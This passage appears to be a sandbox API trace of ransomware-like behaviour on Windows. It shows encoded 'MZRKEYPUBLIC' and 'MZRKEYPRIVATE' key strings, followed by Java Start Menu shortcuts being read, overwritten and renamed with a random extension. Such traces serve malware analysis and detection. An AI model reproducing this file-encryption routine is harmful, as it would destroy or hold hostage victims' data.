lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0133.290] GetCurrentThreadId () returned 0xa30 [0133.290] GetCurrentThreadId () returned 0xa30 [0133.290] GetCurrentThreadId () returned 0xa30 [0133.290] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\about java.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.291] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0133.291] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.291] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x7cf [0133.291] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.291] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x7cf, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f3d4*=0x7cf, lpOverlapped=0x0) returned 1 [0133.303] CloseHandle (hObject=0x1e8) returned 1 [0133.304] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\about java.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.307] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0x7cf, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f3e0*=0x7cf, lpOverlapped=0x0) returned 1 [0133.309] CloseHandle (hObject=0x1e8) returned 1 [0133.310] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\about java.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\about java.lnk.zv7un")) returned 1 [0133.311] GetCurrentThreadId () returned 0xa30 [0133.311] GetCurrentThreadId () returned 0xa30 [0133.311] GetCurrentThreadId () returned 0xa30 [0133.311] GetCurrentThreadId () returned 0xa30 [0133.311] GetCurrentThreadId () returned 0xa30 [0133.311] GetCurrentThreadId () returned 0xa30 [0133.311] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762ca4e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7e1, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Check For Updates.lnk", cAlternateFileName="CHECKF~1.LNK")) returned 1 [0133.311] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.311] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.312] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\check for updates.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762ca4e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7e1)) returned 1 [0133.314] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\check for updates.lnk")) returned 0x20 [0133.314] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk", dwFileAttributes=0x80) returned 1 [0133.316] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0133.316] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0133.318] GetCurrentThreadId () returned 0xa30 [0133.318] GetCurrentThreadId () returned 0xa30 [0133.318] GetCurrentThreadId () returned 0xa30 [0133.319] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0133.319] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0133.319] GetCurrentThreadId () returned 0xa30 [0133.319] GetCurrentThreadId () returned 0xa30 [0133.319] GetCurrentThreadId () returned 0xa30 [0133.319] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\check for updates.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.319] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0133.320] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.320] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x7e1 [0133.320] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.320] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x7e1, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f3d4*=0x7e1, lpOverlapped=0x0) returned 1 [0133.340] CloseHandle (hObject=0x1e8) returned 1 [0133.341] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\check for updates.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.343] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0x7e1, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f3e0*=0x7e1, lpOverlapped=0x0) returned 1 